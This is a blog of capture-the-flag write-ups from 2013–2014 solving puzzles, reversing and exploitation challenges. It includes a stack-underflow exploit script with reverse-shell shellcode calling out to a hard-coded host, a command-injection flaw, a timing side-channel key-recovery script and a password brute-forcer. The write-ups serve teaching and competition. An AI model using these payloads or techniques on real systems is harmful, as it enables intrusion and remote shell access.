Tuesday, January 21, 2014

Ghost in the Shellcode 2014 - Trivia

lugkist

:

This problem gave us a file, which when opened with 7zip, gave us the following file:

Find the key.
GVZSNG
AXZIOG
YNAISG
...
AXLSOG

All together there were 62 lines with 6 letters each. Also, we noticed that only sixteen letters were used: A, P, Z, L, G, I, T, Y, E, O, X, U, K, S, V, and N. First we unsuccessfully tried many simple ciphers. After reaching a dead end, we googled "6 letter codes" and noticed that NES Game Genie cheat codes were six letters long and used the same sixteen letters. Running these codes through us a decoder gave a hexadecimal value and address. Sorting the ASCII characters for the values and sorting them by address gave us "Power overwhelming? Back in my day cheats did not have spaces."

Inview



This challenge was a C file given by the competitors. A quick look around a a click on the border of the code revealed that there was extra spacing at the end of the code. No one willing puts extra tabs/newlines/spaces on the end of their code. Copying the entire C file into an online whitespace interpreter produced the winning output: WhitespaceProgrammingIsHard.

-albinotomato

Ghost in the Shellcode 2014 ti-1337

This challenge presented the user with a command line interface calculator using an array to implement a stack. There were several commands that could be sent to the server, however the one command which did not complete a correct check was the pop command represented by the letter 'b'. While the pop implemented a measure to prevent showing new results if it went out of bounds, it did not stop itself from moving up the stack for each 'b' that was sent. The relevant code is in the disassembly below.
.text:00000000004014EE                 push    rbp
.text:00000000004014EF                 mov     rbp, rsp
.text:00000000004014F2                 lea     rax, theStackSize
.text:00000000004014F9                 mov     rax, [rax]
.text:00000000004014FC                 test    rax, rax
.text:00000000004014FF                 js      short maybeEmpty
.text:0000000000401501                 lea     rax, theStackSize
.text:0000000000401508                 mov     rdx, [rax]
.text:000000000040150B                 lea     rax, theStackSize
.text:0000000000401512                 mov     rax, [rax+rdx*8+8]
.text:0000000000401517                 mov     [rbp+var_8], rax
.text:000000000040151B
.text:000000000040151B maybeEmpty:                             ; CODE XREF: pop+11 j
.text:000000000040151B                 lea     rax, theStackSize
.text:0000000000401522                 mov     rax, [rax]
.text:0000000000401525                 lea     rdx, [rax-1]
.text:0000000000401529                 lea     rax, theStackSize
.text:0000000000401530                 mov     [rax], rdx
.text:0000000000401533                 mov     rax, [rbp+var_8]
.text:0000000000401537                 mov     [rbp+var_18], rax
.text:000000000040153B                 movsd   xmm0, [rbp+var_18]
.text:0000000000401540                 pop     rbp
.text:0000000000401541                 retn
.text:0000000000401541 pop             endp
By popping two segments back and putting a number on the stack, we are able to write our shellcode onto the stack. However, since the program is reading in inputs as floating point numbers, our reverse shell needed to be converted to floating point numbers in segments. Python wasn't playing nice with this, so C was used to do the conversion. The relevant code is below.
 void this (long long int y){
12 double x;
11 // printf("0x%lx\n",y);
10 int i;
9 char *xx=&x,*yy=&y;
8 for(i=0;i<8;i++) {
7 memcpy((char*)&xx[i],(char*)&yy[i],1);
6 }
5 printf("\"%.18lg\"\n",x);
4 // scanf("%lg",&x);
3 // memcpy(&y,&x,8);
2 // printf("0x%lx\n",y);
1 // printf("\n\n");
0 }
We pad on to the end to ensure that we hit out shellcode. The winning python script is below.
  import pexpect
import fdpexpect
import sys
import socket
import time
connectBack = "\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48"
connectBack += "\xb9\x02\x00\x23\x28\x32\x4c\x8e\xc9\x51\x48\x89\xe6\x6a\x10"
connectBack += "\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58"
connectBack += "\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
connectBack += "\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05"
connectBack += (8-len(connectBack)%8)*"\x90"

exploit = []
exploit.append("-6.82852703437048257e-229")
exploit.append("-8.5942656633456451e+185")
exploit.append("6.68474035129115045e+91")
exploit.append("9.20412815489135857e-79")
exploit.append("4.94087008802812102e+255")
exploit.append("4.0852036710841077e+40")
exploit.append("2.04296219533742501e+204")
exploit.append("-2.16211186289897248e+46")
exploit.append("-9.47208657532450845e-33")
exploit.append("2.43058597665742808e+204")
exploit.append("3.11458192633288475e-317")
exploit.append("3.11458192633288475e-317")
exploit.append("3.11458192633288475e-317")
exploit.append("3.11458192633288475e-317")
exploit.append("3.11458192633288475e-317")
exploit.append("3.11458192633288475e-317")
exploit.append("3.11458192633288475e-317")
exploit.append("3.11458192633288475e-317")
exploit.append("3.11458192633288475e-317")
exploit.append("3.11458192633288475e-317")
exploit.append("3.11458192633288475e-317")
s = socket.socket()
s.connect(("ti-1337.2014.ghostintheshellcode.com",31415))
so = fdpexpect.fdspawn(s)
so.logfile = sys.stdout
so.sendline("b")
so.expect("\n")
for i in range(0,30):
so.sendline("b")
so.expect("\n")
so.sendline("b")
so.expect("\n")
so.sendline(str(exploit[i]))
time.sleep(.1)
so.expect("\n\n\n")
Any questions or comments, feel free to let me know!

--Imp3rial

Tuesday, December 10, 2013

iCTF 2013 Fall - Temperature

This was the first problem we tackled at the start of the competition. Talking to the server, we were given two options: Look up a temperature or add a temperature recording. After messing with the inputs for a little, we decided to take a look at the code.

We received the source code in a .deb package, which we unpacked using 7zip. Looking through the files we discovered a Python file named, of course, "temperature". We then began to look through the code and found a series of replace commands.
def build_command():
   fn = "satan"
   fn = fn.replace("s","r")
   fn = fn.replace("a","e")
   fn = fn.replace("t","v")
   fn = fn.replace("s","r")
   fn = fn.replace("n","n")
   fn = fn[::-1]
   fn += '\x67'
   fn += '\x75'
   fn += '\x65'
   fn += '\x73'
   fn += '\x73'
   cn = "dog"
   cn = cn.replace("d","c")
   cn = cn.replace("g","t")
   cn = cn.replace("o","a")
   cn2 = "\x67\x72\x65\x70"
   cn3 = "\x61\x77\x6B"
   command = " ".join((cn,fn,"|",cn2,"%s","|",cn2,"%s","|",cn3,"'{print $3}'"))
   return command


Which we quickly realized allows anything to be put into the command. We decided to see what could be found by sending "no" to the inputs for the lookup command
By sending "no" to both inputs, we were able to get a list of flags, indicated by "FLG" at the beginning of each flag." restricted the output to just the third column,  Our final script is below:
def get_awesomeness(s, flag_id):
    s.recv(1024)
    s.send("10")
    s.recv(1024)
    s.send("no")
    s.recv(1024)
    s.send(flag_id)
    flag = s.recv(1024).strip()
    return flag

Monday, December 9, 2013

iCTF 2013 Fall - TattleTale

This problem proved to be quite an interesting optimization problem. To solve this challenge, you needed to open three network connection to the service running on port 13007, and have each of the clients connect to the same room. If you '/msg' E.Snowden, he asked for you and your coworkers to get the highest amount of secret points that could be exfiltrated from the network. Sending documents to him cost bandwidth, but you could send them to your coworkers without affecting your bandwidth. Some sample text is:

list -- | FoxAcid.ppt 2612KB 34
list -- | FoxAcid.docx 809KB 23
list -- | FoxAcid.doc 2988KB 68
list -- | BULLRUN.ppt 255KB 76
list -- | BULLRUN.docx 546KB 40
list -- | BULLRUN.doc 524KB 29
list -- | LOVEINT.ppt 699KB 45
list -- | LOVEINT.docx 1545KB 59
list -- | LOVEINT.doc 2146KB 39
list -- | QuantumCookie.ppt 2079KB 66
list -- | QuantumCookie.docx 896KB 88
list -- | QuantumCookie.doc 604KB 55
list -- | G20.ppt 203KB 97
list -- | G20.docx 1691KB 21
list -- | G20.doc 1758KB 39

In order to accomplish this task, the first thing was getting each of the agents to list their documents and keep track of who had what. Agents One and Two would send each document they had to agent Zero. Agent Zero then sent documents in the order of the ratio of privacy value gained vs. the size of the file. After sending as many files as agent Zero was capable, he transferred the rest to agent One. Agent One followed suit before passing the rest to agent Two. The algorithm was too slow at first, so most of the recv's were cut out and pexpect was used to gain the final answer from E.Snowden. The 140 lines of code that solved the challenge are as follows (exploit call being at the bottom).
from __future__ import division
import socket
from time import sleep
from operator import itemgetter
import pexpect, fdpexpect
class Exploit():
def result(self):
return {'FLAG' : self.flag }
def groupRecv(self, s1, s2, s3):
sleep(.1)
s1.recv(4096)
sleep(.1)
s2.recv(4096)
sleep(.1)
s3.recv(4096)
def groupSend(self, s1, s2, s3, command):
sleep(.05)
s1.sendall(command + "\n")
sleep(.05)
s2.sendall(command + "\n")
sleep(.05)
s3.sendall(command + "\n")
def gatherData(self, s1, s2, s3, data, bandwidth):
soList = [s1, s2, s3]
for socket in xrange(len(soList)):
sleep(.1)
block = soList[socket].recv(4096)
block = block.split("\n")
for line in xrange(len(block)):
block[line] =block[line].split()
agentData = []
for line in xrange(len(block)-1):
if(line == 0):
bandwidth.append(block[0][5])
if(line > 1):
agentData.append(int(socket))
agentData.append(block[line][3])
agentData.append(block[line][4].rstrip("KB"))
agentData.append(int(block[line][5])/int(block[line][4].rstrip("KB")))
agentData.append(block[line][5])
if(agentData != []):
data.append(agentData)
agentData = []
def transferToZero(self, s0, s1, s2, data):
for item in data:
sleep(.06)
if(item[0]==1):
s1.sendall("/send Agent0 " + item[1]+"\n")
if(item[0]==2):
s2.sendall("/send Agent0 " + item[1]+"\n")
def transferToOne(self, s0, s1, s2, data):
for item in data:
sleep(.06)
s0.sendall("/send Agent1 " + item[1]+"\n")
def transferToTwo(self, s0, s1, s2, data):
for item in data:
sleep(.06)
s1.sendall("/send Agent2 " + item[1]+"\n")
def sendSnowden(self, s, data, bandwidth):
rem = []
for item,index in zip(data, xrange(len(data))):
if(int(item[2])<int(bandwidth)):
sleep(.04)
s.sendall("/send E.Snowden " + item[1] + "\n")
bandwidth = int(bandwidth) - int(item[2])
rem.append(item)
else:
pass
for each in rem:
data.remove(each)
sleep(.01)
return data
def runThis(self, ip, port, flag_id):
data = []
bandwidth = []
print '[+] Connecting Sockets'
s1 = socket.socket()
s1.connect((ip, port))
s2 = socket.socket()
s2.connect((ip, port))
s3 = socket.socket()
s3.connect((ip, port))
self.groupRecv(s1, s2, s3)
self.groupSend(s1, s2, s3, "1")
self.groupRecv(s1, s2, s3)
self.groupSend(s1, s2, s3, flag_id)
self.groupRecv(s1, s2, s3)
self.groupSend(s1, s2, s3, "/msg E.Snowden hello")
self.groupRecv(s1, s2, s3)
self.groupSend(s1, s2, s3, "/list")
self.gatherData(s1, s2, s3, data, bandwidth)
print '[+] Sorting data'
data.sort(key=itemgetter(3), reverse=True)
print '[+] Transferring to 1'
self.transferToZero(s1, s2, s3, data)
print '[+] Transferring to Snowden from 1'
data = self.sendSnowden(s1, data, bandwidth[0])
print '[+] Transferring to 2'
self.transferToOne(s1, s2, s3, data)
print '[+] Transferring to Snowden from 2'
data = self.sendSnowden(s2, data, bandwidth[1])
print '[+] Transferring to 3'
self.transferToTwo(s1, s2, s3, data)
print '[+] Transferring to Snowden from 3'
data = self.sendSnowden(s3, data, bandwidth[2])
self.groupSend(s1, s2, s3, "/msg E.Snowden done")
p3 = fdpexpect.fdspawn(s3)
p3.expect("FLAG: ")
p3.expect("\n")
output = p3.before.strip()
print output
return output

def execute(self, ip, port, flag_id):
self.flag = self.runThis(ip, port, flag_id)

If you have any questions or comments, please let me know!

--Imp3rial

Thursday, October 24, 2013

Hack.lu CTF 2013: Pay TV 200

We were given the challenge "Pay TV" - in the web hacking category. There was no clear objective here, although I knew we were looking for some type of "flag".


After an initial look at the webpage above, I noticed a newspaper on the table with the words "Side Channel Attacks". Researching this, there are many different side channel attacks that usually involve information leaking on the structures of code or crypto-systems (this will become important later). I also found some script that the programmer left in a comment inside a javascript file for the page called "key.js" (seen below).


Knowing this information I then explored the webpage...entering a string into the black box resulted in the following:


So we can see that if we had the right key, it would probably return the flag. On the back-end using Burpsuite, the response from my input looked like this:
{"response": "Wrong key.", "success": false}
Fortunately from key.js I know there is also a "debug" parameter that at some point was sent in the POST request to the /gimmetv page by the developer to debug the webpage.

Sending a POST request that includes a 'debug' parameter produces some interesting results. The POST request looks like this:
'POST /gimmetv HTTP/1.1
Host: ctf.fluxfingers.net:1316
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: https://ctf.fluxfingers.net:1316/
Content-Length: 26
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

key=key%3Da%26debug%3Dtrue'
...and returns a response of:
{"start": 1382474251.083596, "end": 1382474251.083652, "response": "Wrong key.", "success": false}
From this we see that the server is now returning UNIX system times...we can infer this to mean the time the server received the POST request to the time it finished the request. So if you send the server a bunch of letters one at a time, the end - start time should be larger for letters that the server actually processed if they are in the string.

I quickly built the following python script to manage this POST request for me and check different alphnumeric inputs under the assumption that the string was capitalized:
import urllib, urllib2, json, string
def main():
    letterlist = string.ascii_uppercase + '0123456789'
    for letter in letterlist:
        url = 'https://ctf.fluxfingers.net:1316/gimmetv'
        values = {'key' : 'REPLACEME' + letter, 'debug' : ''}
        data = urllib.urlencode(values)
        req = urllib2.Request(url, data)
        response = urllib2.urlopen(req)
        response = json.loads(response.read())
        print 'REPLACEME' + letter + ": " + str(response['end'] - response['start'])
if __name__ == "__main__":
    main()
For REPLACEME, I started with an empty string. The first run returned these results:
A: 0.100333929062
B: 7.20024108887e-05
C: 6.29425048828e-05
D: 3.50475311279e-05
E: 4.10079956055e-05
F: 3.40938568115e-05
G: 3.48091125488e-05
H: 5.60283660889e-05
I: 4.48226928711e-05
J: 3.38554382324e-05
K: 3.2901763916e-05
L: 5.00679016113e-05
M: 4.79221343994e-05
N: 5.41210174561e-05
O: 4.50611114502e-05
P: 6.89029693604e-05
Q: 5.22136688232e-05
R: 0.000123023986816
S: 0.000349998474121
T: 0.000112056732178
U: 0.000273942947388
V: 5.19752502441e-05
W: 3.48091125488e-05
X: 5.69820404053e-05
Y: 4.91142272949e-05
Z: 3.60012054443e-05
0: 5.29289245605e-05
1: 5.10215759277e-05
2: 8.51154327393e-05
3: 6.00814819336e-05
4: 7.20024108887e-05
5: 5.48362731934e-05
6: 3.48091125488e-05
7: 5.50746917725e-05
8: 3.31401824951e-05
9: 0.000118017196655
The 'A' character took the longest to process, and so I added it to the REPLACEME string. Similarly, running the program again generated the next character in the string and I added it to the REPLACEME string. When the times no longer differed, I knew the string was finished.

The final result of running my program was the string "AXMNP93", entering this in the webpage returned the flag! "OH_THAT_ARTWORK!" ~ Hawkeye



Hack.lu CTF 2013 : FluxArchiv[Part1] 400

So we have this program that creates an encrypted archive. We also have an archive that we are supposed to get the password for. Analysis of the program shows that, in order to check a password, it takes the sha1 hash of the password, scrambles it, hashes it again, and compares it to a location stored in the archive (beginning at 12 bytes in). We found the value stored in memory, and brute forced the entire thing using the following Ada program.


with Gnat.Sha1;
with Ada.Text_IO;
use Ada.Text_Io;
procedure Win3 is
   C      : GNAT.SHA1.Context;
   Result : String (1 .. 40);
   Input  : String (1 .. 20);
   Target : String            := "372942df2712824505d8171f4f0bcb14153d39ba";
   Try    : String            := "ZYXWVUTSRQPABCDEFGHIJKLMNO0123456789";
   Index  : Integer;
begin
   for I in Try'range loop
      for J in Try'range loop
         Put_Line(Try(I)&Try(J));
         for K in Try'range loop
            for L in Try'range loop
               for M in Try'range loop
                  for N in Try'range loop
                     C := Gnat.Sha1.Initial_Context;
                     Gnat.Sha1.Update(C,Try(I)&Try(J)&Try(K)&Try(L)&Try(M)&
                        Try(N));
                     Result := Gnat.Sha1.Digest(C);
                     -- FIRST HASH DONE, NOW SCRAMBLE
                     for Count in 0..19 loop
                        Index := Count*7 mod 20;
                        Input(Count+1) := Character'Val(Integer'Value(
                              "16#"&Result(Index*2+1)&Result(Index*2+2)&
                              "#"));
                     end loop;
                     C := Gnat.Sha1.Initial_Context;
                     Gnat.Sha1.Update(C,Input);
                     Result := Gnat.Sha1.Digest(C);
                     if Result=Target then
                        Put_Line(Try(I)&Try(J)&Try(K)&Try(L)&Try(M)&Try(N));
                        Skip_Line;
                     end if;
                  end loop;
               end loop;
            end loop;
         end loop;
      end loop;
   end loop;

end Win3;
key{PWF41L} Write up by albntomat0

Hack.lu CTF 2013 : RoboAuth 150

This program is a simple binary that that verifies two strings that the user provides.  The first string can be found by looking at the memory address at the first compare statement at 0x00401B6C.
.text:00401B54                 call    scanf
.text:00401B59                 lea     eax, [ebp+var_143]
.text:00401B5F                 mov     [esp+164h+var_160], eax
.text:00401B63                 lea     eax, [ebp+var_157]
.text:00401B69                 mov     [esp+164h+var_164], eax
.text:00401B6C                 call    strcmp
.text:00401B71                 test    eax, eax
.text:00401B73                 jnz     short loc_401B8D
.text:00401B75                 mov     [esp+164h+var_164], offset aYouPassedLevel ; "You passed level1!"

Later in the program, it calls an int 3.  The int 3 forces the program to jump to the exception handler that had been set up.  Inside the exception handler, the program takes another set of user input for the second string.  The exception handler calls a decrypt routine.

.text:004015B2                 call    scanf
.text:004015B7                 mov     eax, ds:dword_40AD98
.text:004015BC                 mov     [esp+38h+var_34], eax
.text:004015C0                 lea     eax, [ebp+var_20]
.text:004015C3                 mov     [esp+38h+var_38], eax
.text:004015C6                 call    decryptCompare
.text:004015CB                 test    eax, eax

Inside the decrypt routine, each byte of a stored string is xor'ed by 0x02 then compared.  Settting a breakpoint at the "cmp dl, al" after the xor allows each byte to be extracted.

.text:00401558                 xor     eax, 2
.text:0040155B                 cmp     dl, al
The key, in the format string1_string2, was r0b0RUlez!_w3lld0ne

--Imp3rial